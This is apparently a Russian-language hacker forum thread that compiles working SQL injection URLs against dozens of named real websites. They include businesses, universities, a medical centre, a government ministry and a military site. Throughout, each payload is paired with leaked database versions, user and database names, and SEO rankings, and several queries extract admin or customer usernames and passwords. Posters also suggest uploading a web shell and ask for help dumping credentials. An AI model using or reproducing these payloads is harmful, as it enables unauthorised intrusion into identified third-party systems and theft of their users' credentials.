SQL Инъекции

www.conceptsport.co.uk/events.php?pid=-1111 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15--

www.rockcard.co.uk/choose_size.php?cid=-95 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14--

www.viewfinderphotography.co.uk/product.php?cid=-1 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12--

thefishy.co.uk/story.php?id=-8420104 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

 

Code:

http://www.rukhnet.com/index.php?subid=-0000+union+select+concat(version(),user(),database()),2,3,4,5,6,7+from+information_schema.tables--

Version:5.0.90-community
User: logrukhnetc_diradmi@localhost
Database: rukhnetc_directory

 

http://www.rhc.org.za/news.php?id=-1+union+select+1,2,3,4,version(),6,7,8/*

 

http://www.volunteerfalkirk.org.uk/news.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('tblOrgAims'))--

http://www.metafix.co.uk/Scripts/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('dtproperties')--

http://www.rockhill.ie/gallery/index.asp?ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+char(78)%2Bchar(101) %2Bchar(119) %2Bchar(115) %2Bchar(108) %2Bchar(101) %2Bchar(116) %2Bchar(116) %2Bchar(101) %2B char(114) %2Bchar(80) %2Bchar(114) %2Bchar(101) %2Bchar(112) %2B char(97) %2Bchar(114) %2Bchar(101) %2Bchar(100) %2Bchar(69) %2B char(109) %2Bchar(97) %2Bchar(105) %2Bchar(108) %2Bchar(115))&page=7

http://www.bradfordchamber.co.uk/news.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char%2884%29%2Bchar%28105%29%2Bchar%2899%29%2Bchar%28107%29%2Bchar%2878%29%2Bchar%28101%29%2Bchar%28119%29%2Bchar%28115%29%29%29--

http://www.retention.se/news.asp?id=1+SELECT+*+from+ adminuser +group+by+adminuser.userid+having+1=1#&pg=1

 

Code:

http://www.accomplishmanagement.co.uk/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6,7/*

User: web148u1@localhost
Version: 5.0.32-Debian_7etch8-log
Database: web148db1

Code:

http://www.samsport.ie/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6--

User: ssport_usr@localhost
Version: 5.0.51a-community
Database: samsport_db

Code:

http://www.klangwald.de/main/shop_details.php?id=99999+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4/*

User: TE@localhost
Version: 4.0.17-nt
Database: klangwald

Code:

http://www.coffeytalk.com/product_details.php?id=-170+union+select+1,2,3,concat_ws(0x3b,%20user(),database(),version()),5,6,7,8--

User: $coffey1@localhost
Version: 5.0.90-community
Database: coffey1_BlogNEW

Code:

http://reklama.vladinvest.ru/print_news.php?id=-5+union+select+1,2,concat_ws(0x3b,%20user(),database(),version()),4/*

User: [email protected]
Version: 4.1.22
Database: vladinvestru2

Code:

http://lingvistschool.kiev.ua/news_ukr.php/news.php/forum/print/print_page_ukr.php?id=99999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6--

User: 1.u_lingvistsc@localhost
Version: 5.0.44.3
Database: lingvistscho

Code:

http://www.euroforgings.com/shop2.php?id=-99999999+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4,5/*

User: euroforg_root@localhost
Version: 4.1.22-standard
Database: euroforg_alku2

 

http://www.ideja.edu.lv/index.php?content_id=-8+union+select+1,2,concat_ws(char(32),user(),version(),database(),@@version_compile_os),4,5,6,7,8,9,10,11+from+information_schema.tables--

 

В преддверии игры сборной России по хоккею против Канады

Code:

http://[COLOR=White]www[/COLOR].[COLOR=Red]thelamp[/COLOR].[COLOR=White]ca[/COLOR]/film/index.php?id=27+union+select+1,2,concat_ws(0x3a,version(),da tabase(),user())%20,4,5,6,7,8,9--

Version : 5.1.39-log
Database : lamp
User : [email protected]
OS : pc-linux-gnu

-----------------------------------------------------------

Code:

http://[COLOR=Red]youthscienceforum[/COLOR].[COLOR=White]ca[/COLOR]/view.php?id=17+and+1=2+union+select+1,2,3,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),d atabase(),user()),0x71),0x71),5,6--

Version : 5.0.19-standard
Database : youthscienceforum
User : [email protected]
OS : apple-darwin8.2.1

 

http://www.igert.neu.edu/profile.php?pid=-16+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12


Database Version: 5.0.77-log
Database name: igert
User name: igert@localhost

 

http://www.rom.on.ca/programs/lectures/index.php?ref=showinfo&program_id=-5507+UNION+SELECT+1,GROUP_CONCAT(AES_DECRYPT(AES_ENCRYPT(COLUMN_NAME,1),1)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='romcart_users'%23

 

http://www.uk.playright.dk/firma.php?id=-14+union+select+1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12+from+mysql.user

 

Code:

http://myaso-portal.ru/news_records_view.php?id=-3458+and+1=2+union+select+1,concat_ws(0x3a,user,pass),3,4,5,6,7,8,9,10+from+userlist+limit+1,1--

http://myaso-portal.ru/admin/
можно попробовать залить шелл

 

MS_access

http://www.ohiocampuscompact.org/page.cfm?ID=-181+union+select+1,2,3,4,5,6,7,8,9+from+pagetext1

PR-5

---------------------------------------------
http://www.jnht.com/heritage_site.php?id=-289+union+select+1,2,concat_ws(user(),version(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

PR-6

---------------------------------------------
http://www.sadarvuga.com/php/project.php?id=-59+union+select+0,group_concat(username,char(58),password)+from+users

PR-4
--------------------------------------------

http://www.gemidiriya.com/news_view.php?record_id=-1+union+select+1,2,aes_decrypt(aes_encrypt(concat_ws(char(32),user(),version(),database(),@@version_compile_os,@@datadir),1),1),group_concat(table_name),5,6+from+information_schema.tables+where+table_schema=CHAR(103,97,109,97,110,101,103,95,119,101,98,100,98)

PR-4
-------------------------------------------
http://www.buyabans.com/subcats.php?range_id=2&cat_id=-25+union+select+concat_ws(user(),version(),database(),@@version_compile_os)&subcat_id=41

PR-5

 

PR 6
ТИЦ 110

Version = 4.1.20
Current User = libsites@localhost
Current Database = ecoculture_db01

PR 6
ТИЦ 40

Version = 5.1.37-1ubuntu5.1
Current User = root@localhost
Current Database = vmo_db01

PR 5
ТИЦ 120

Version = 5.0.90-community
Current User = radiotec_raduser@localhost
Current Database = radiotec_mainbase


PR 5

Version = 5.1.42
Powered by = PHP/5.3.1
Current User = webmysql@localhost
Current Database = dbase_tsunami

PR 8

Version = 5.0.85-log
Powered by = PHP/5.2.13
Current User = polimi@localhost
Current Database = polimi

 

Сайт: http://iksz.hu
ТИЦ: 0
PR: 4
Пример запроса:

Code:

http://iksz.hu/rateit.php?id=999'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.81-log
user - [email protected]
database - iksznews
os - portbld-freebsd7.0

============================================

Сайт: http://jjc.yangtzeu.edu.cn
ТИЦ: 0
PR: 4
Примеры запросов:

Code:

http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7--+  

http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,group_concat(uname,0x3a,pwd,0x3a,email),4,5,6,7+from+jjc_admin--+

version - 5.0.45-community-nt-log
user - root@localhost
database - jjc
os - Win32

============================================

Сайт: http://www.stedenbandeindhoven.nl
ТИЦ: 0
PR: 4
Пример запроса:

Code:

http://www.stedenbandeindhoven.nl/module.php?ID=68+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.81-log
user - chinandega_u@localhost
database - chinandega_splace
os - pc-linux-gnu

============================================

Сайт: http://www.countryclub.at
ТИЦ: 10
PR: 3
Пример запроса:

Code:

http://www.countryclub.at/v2/module.php?id=-42'+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(0x0b,username,0x3a,password),concat_ws(0x0b,version(),user(),database(),@@version_compile_os),14,15,16,17,18,19+from+access--+

version - 5.0.45
user - countryclub_at@localhost
database - countryclub_at_-_db1
os - redhat-linux-gnu

============================================

Сайт: http://www.imaculadanet.com.br
ТИЦ: 0
PR: 1
Пример запроса:

Code:

http://www.imaculadanet.com.br/site/eventos.php?id=-7+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,table_name),5,6+from+information_schema.tables--+

version - 5.0.51a-24+lenny3-log
user - site_www@localhost
database - www
os - debian-linux-gnu

============================================

Сайт: http://xcc.paragliding.pl
ТИЦ: 0
PR: 1
Примеры запросов:

Code:

http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--+  

http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,group_concat(0x0b,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.columns+where+table_name=0x70687062625F7573657273--+

version - 5.0.26
user - web16@localhost
database - xcc_2009
os - suse-linux-gnu

============================================

Сайт:

Code:

http://www.ondernemersparlement.nl  
он же  
http://www.onlineparlement.nl  
он же  
http://www.webocratics.com

ТИЦ: 0
PR: 0
Примеры запросов:

Code:

http://www.ondernemersparlement.nl/module.php?ID=5180+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  

http://www.onlineparlement.nl/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  

http://www.webocratics.com/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.81-log
user - webocratic_u@localhost
database - webocratic_splace
os - pc-linux-gnu

============================================

Сайт: http://www.terranet-berlin.de
ТИЦ: 0
PR: 0
Пример запроса:

Code:

http://www.terranet-berlin.de/dias/module.php?id=-44+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9--+

version - 4.0.27-max-log
user - [email protected]
database - db128602669
os - pc-linux-gnu

============================================

Сайт: http://www.beoordeelmijndocent.nl
ТИЦ: 0
PR: 0
Пример запроса:

Code:

http://www.beoordeelmijndocent.nl/module.php??moduleID=77&menuID=1913+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.32-Debian_7etch12-log
user - bmd@localhost
database - bmd
os - pc-linux-gnu

============================================

Сайт: http://data.weetmeer.nl
ТИЦ: 0
PR: ?
Пример запроса:

Code:

http://data.weetmeer.nl/module.php?ID=68565+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.81-log
user - weetmeer_beta@localhost
database - weetmeer_beta
os - pc-linux-gnu

============================================

Сайт: http://ifs.rz.tu-bs.de
ТИЦ: 0
PR: ?
Пример запроса:

Code:

http://ifs.rz.tu-bs.de/module.php?id=49&action=download&fileid=-18'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.45
user - de@localhost
database - de
os - redhat-linux-gnu

 

Министерство связи и информатизации республики Беларусь
http://www.mpt.gov.by/new/modules/fotoar/index.php?sub&id=13+and+substring(version(),1,1)=4
Четвертая версия мускула, на union фильтр

 

Сайт: http://www.informatikcenter.de
ТИЦ: 10
PR: 3
Пример запроса:

Code:

http://www.informatikcenter.de/redaktion/download.php?id=57'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+&type=file

version - 5.0.51a-24+lenny3
user - IN-06030001@localhost
database - IN-06030001
os - debian-linux

============================================

Сайт: http://www.oldrelics.com
ТИЦ: 0
PR: 3
Пример запроса:

Code:

http://www.oldrelics.com/cms.php?id=-6+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,login_id,0x3a,password)+from+relics_admin--+

version - 5.0.91-log
user - [email protected]
database - custom_new
os - unknown-linux-gnu

============================================

Сайт: http://www.pmaoakridge.com
ТИЦ: 0
PR: 3
Пример запроса:

Code:

http://www.pmaoakridge.com/news_events_detail.php?news_events_id=-87+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6--+

version - 4.1.24-max-log
user - [email protected]
database - cayote55
os - redhat-linux-gnu

============================================

Сайт: http://fuchsschafzucht-wechselberg.de
ТИЦ: 0
PR: 1
Пример запроса:

Code:

http://fuchsschafzucht-wechselberg.de/cms.php?id=5+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.32-Debian_7etch11-log
user - [email protected]
database - fuchsschafzucht
os - pc-linux-gnu

============================================

Сайт: http://www.kgmotorsport.com
ТИЦ: 0
PR: 1
Примеры запросов:

Code:

http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login_id,0x3a,password,0x3a,email),5,6,7,8,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),10,11+from+sysadmin--+  

http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login,0x3a,password,0x3a,email),5,6,7,8,now(),10,11+from+customers--+

version - 5.0.89-community
user - web161-kgmotor@localhost
database - web161-kgmotor
os - pc-linux-gnu

============================================

Сайт: http://www.chisca.ca
ТИЦ: 0
PR: 0
Пример запроса:

Code:

http://www.chisca.ca/cms.php?id=-18'+union+select+1,2,3,4,unhex(hex(concat_ws(0x0b,version(),user(),database(),@@version_compile_os))),6,7,8,9--+

version - 4.1.18-nt
user - [email protected]
database - chiscanew_71463
os - Win32

============================================

Сайт: http://www.homesurveysolutions.com
ТИЦ: 0
PR: 0
Пример запроса:

Code:

http://www.homesurveysolutions.com/cms.php?ID=-12'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,group_concat(0x0b,table_name),6,7,8,9+from+information_schema.tables--+

version - 5.0.89-community
user - web247-hss@localhost
database - web247-hss
os - pc-linux-gnu

 

Вооруженные силы Гана

http://www.gaf[antigoogle].mil.gh/index.php?CatId=80+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

user() : [email protected]

version() : 4.0.27-max-log

database() : db156151652

OS : pc-linux-gnu

PR - 5

админка

 

Code:

http://www.gdnet.org/cms.php?id=conference_details&conference_id=-11%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+

User: browse@cweb3
Database: gdnet
Version: 5.0.45

Вот здесь же есть таблица с юзерами, но не могу вывести данные.

Кто знает как вывести логин;пасс юзера напишите в ПМ.

 

Сайт: http://www.erf.org.eg
ТИЦ: 10
PR: 7
Пример запроса:

Code:

http://www.erf.org.eg/cms.php?id=conferences_details&conference_id=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+

version - 4.1.20
user - root@localhost
database - newerf
os - redhat-linux-gnu

============================================

Сайт: http://www.code-corner.com
ТИЦ: 0
PR: 6
Пример запроса:

Code:

http://www.code-corner.com/cms.php?id=portfolio_listing&company_category_id=-3+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os),2,3,4,5,6,group_concat(0x0b,username,0x3a,pass,0x3a,email),8,9,10,11,12,13,14,15+from+admin--+

version - 5.1.41
user - corners_corners@localhost
database - corners_corners
os - unknown-linux-gnu

============================================

Сайт: http://english.anqahe.org
ТИЦ: 0
PR: 5
Примеры запросов:

Code:

http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,now(),7,group_concat(0x0b,username,0x3a,pass),9,10,11,12,13+from+admin--+  

http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,now(),7,group_concat(0x0b,username,0x3a,pass),9,10,11,12,13+from+users--+  

http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),7,group_concat(0x0b,email),9,10,11,12,13+from+member--+

version - 5.1.41
user - anqahe_anqahe_en@localhost
database - anqahe_anqahe_en
os - unknown-linux-gnu

============================================

Сайт: http://www.humanas.unal.edu.co
ТИЦ: 10
PR: 5
Пример запроса:

Code:

http://www.humanas.unal.edu.co/cms.php?id=940+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.1.42-log
user - [email protected]
database - cms
os - unknown-freebsd

============================================

Сайт: http://www.bota.org.uk
ТИЦ: 0
PR: 4
Пример запроса:

Code:

http://www.bota.org.uk/cms.php?id=-93'+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15--+

version - 4.1.20
user - bota@localhost
database - bota
os - redhat-linux-gnu

============================================

Сайт: http://www.aptekaslonik.pl
ТИЦ: 0
PR: 4
Пример запроса:

Code:

http://www.aptekaslonik.pl/index.php?c=483)+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+

version - 5.0.32-Debian_7etch8
user - aptekaslonik@localhost
database - aptekaslonik
os - pc-linux-gnu

============================================

Сайт: http://www.autismbuddy.com
ТИЦ: 0
PR: 4
Пример запроса:

Code:

http://www.autismbuddy.com/cms.php?id=-2+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os)--+

version - 4.1.22-standard
user - autism_autism@localhost
database - autism_myautismbuddy
os - pc-linux-gnu

============================================

Сайт: http://meirmedicalcenter.org
ТИЦ: 0
PR: 3
Пример запроса:

Code:

http://meirmedicalcenter.org/cms.php?id=-8+union+select+1,group_concat(0x0b,version(),0x0b,user(),0x0b,database(),0x0b,@@version_compile_os,0x0b,admin_userid,0x3a,admin_password),3,4,5,6,7,8,9+from+tbl_admin--+

version - 5.0.91-log
user - [email protected]
database - mmcdb
os - unknown-linux-gnu

 

Сайт www.k-rabota.ru

Code:

http://www.k-rabota.ru/resume/index.php?id=560+and+substring%28version%28%29,1,1%29=5--+

===========================================
Это Blind sql-injection

version() - 5.1. ... (дальше не стал определять)
user() - k-rabota@localhost
database() - k-rabota
os - portbld-freebsd